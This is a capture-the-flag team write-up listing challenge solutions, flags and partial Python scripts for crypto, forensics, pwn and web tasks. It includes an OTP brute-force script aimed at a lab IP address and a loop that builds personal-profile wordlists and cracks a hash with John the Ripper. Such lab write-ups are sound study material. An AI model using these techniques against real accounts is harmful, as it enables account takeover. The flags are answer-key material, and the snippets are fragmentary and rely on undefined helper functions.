CSEC CTF at 2025
CSEC CTF at 2025
Team: bigga
1.Again
Category: Crypto
Solution: Derived RC4 keystream from a known chunk, then XORed it with the target cipher
to reveal the flag.
Flag: HTB{b4by_rc4_15_h3r3_f0r_y0u}
k_text =
bytes.fromhex("79de558663ade6ac9bd8353fe46fbf84b33dd928fac331e84e56bcec2c98"
)
plain_known = b"A"*14 + b"C"*16
stream = derive_stream(k_text, plain_known)
flag_cipher =
bytes.fromhex("70cb56bc40d8c59485eb174afa1fc998984de858e6e642d9526ccfda12")
print(reveal(flag_cipher, stream))
2. Deep Dive
Category: Forensics
Solution: Open xlsx in google sheets , view the hidden sheets then copy pasted them into a
file and used python to decode then used dcode to ROT13
Flag: HTB{why_it5_4lw4y5_f0r3n5uck5}
import base64
i = 0
prev = 0
for l in open("out.txt").readlines():
if len(l) < 8:
print(i,i-prev,l.strip())
prev=i
i += 1
data = "".join([l.strip() for l in open("out.txt").readlines() if len(l)
<8])
print(data)
3. TipTop
Category: Pwn
Solution: Crafted payload of padding plus gadget and function addresses to modify program
flow and invoke the target function.
Flag: HTB{wh4t_1f_s0m30n3_c0l0ur8l1nd_t0_wh1t3}
4. Loussy 2FA
Category: Web
Solution: bruteforced OTP values against verify API after sending /send-otp with length = 2
Flag: HTB{L3NGTH_D0E5NT_MATT3R_0R_D03S_1T?}
import requests
url = "http://4.240.104.200:5003/verify-otp"
target_email = "[email protected]"
for otp_code in range(100):
payload = {
"email": target_email,
"otp": str(otp_code)
}
response = requests.post(url, json=payload).json()
if("error" not in response):
print(response)
break
6. Echoes of awa
Category: Crypto
Solution: Mapped tokens to bits, built a bitstring, then brute-forced the shift and added the
hex decoded suffix
Flag: HTB{N07_4ll_Cryp70_15_UnBr34k4bl3}
def decode(msg):
return "".join([chr(int(t.replace("awawawa","1").replace("awa","0")
[::-1],2)) for t in msg.strip().split(" ")])
ct = ""
pt = decode(ct)
for s in range(128):
cand = ''.join(chr((ord(c)-s)%128) for c in pt)
if("HTB" in cand):print(cand)
7. Ciao Detective 1
Category: Forensics
Solution: Parsed packet data field, base64-decoded hex, identified Fernet blobs, decrypted
with extracted key, then saved and inspected image to read flag.
Flag: HTB{a1c0hol_i5_bad_f0r_y0u}
import base64
from cryptography.fernet import Fernet
out = open('packet-data.txt').read().splitlines()
process(out, b'SwossJsjDe1x3CqJrht-iKhPWagx1bam6Q5zBI0R4nI=')
9. RSA 1
Category: Crypto
Solution: Brute-forced e by XORing with given hex bytes , found E to be the key then
cracked with RsaCtftool
Flag: HTB{rsa_seems_cool_heh}
10. RSA 2
Category: Crypto
Solution: Applied CRT to combine c_i and n_i into M^e, then computed integer root
Flag: HTB{4n0th3r_e45y_p345y_rs4_qs}
print(long_to_bytes(broadcast(cs, ns)))
11. RSA 3
Category: Crypto
Solution: Found integers s1,s2 such that s1_e1 + s2_e2 = 1, combined c1^s1 and c2^s2
modulo n to reconstruct m.
Flag: HTB{c0mm0n_m0du1u5_4774ck_1337_1731}
12. Crack IT
Solution: Iterated profile permutations through a custom generator and bruteforced to crack
the hash
Flag: HTB{5t0p_g3tt1n5_1nt0_my_l1f3_y0u_cr33p}
import os
from cupp import *
import subprocess
read_config("cupp.cfg")
for a in ['y','n']:
for b in ['y','n']:
for c in ['y','n']:
for day in range(12,30):
wifeb = f"{day:02d}041991"
profile = {
"name": "Akshay",
"surname": "Raj",
"nick": "",
"birthdate": "27041995",
"wife": "Priya",
"wifen": "riya",
"wifeb": wifeb,
"kid": "pihu",
"kidn": "pihu",
"kidb": "05052021",
"pet": "",
"company": "",
"words": ["Cecconi's","Cecconi","Cecconis"],
"spechars1": a,
"randnum": b,
"leetmode": c,
"spechars": [],
}
generate_wordlist_from_profile(profile)
subprocess.run(["john", "--wordlist=Akshay.txt",
"personal.hash"])
res= subprocess.run(["john", "--show",
"personal.hash"],capture_output=True )
if('1 left' not in res.stdout.decode()):
raise Exception()
13. Wrong
Solution: Custom RC4-based keystream with limited shuffling used to XOR-decrypt the
ciphertext.
Flag: HTB{1s_17_rc4_0r_1s_17_n07?}
class StreamCipher:
def __init__(self, seed):
self.state = self._prepare_state(seed)
def main():
# Custom key (seed) for encryption/decryption
seed_key = [0xad, 0xde, 0xde, 0xc0, 0xad, 0xde, 0xde, 0xc0]
# Decryption process
cipher = StreamCipher(seed_key)
cipher.scramble()
decoded = cipher.reveal(encoded_bytes)
print("Output:", decoded.decode(errors="replace"))
if __name__ == "__main__":
main()
Flag: HTB{y0U_f0U4D_FT13_REASON}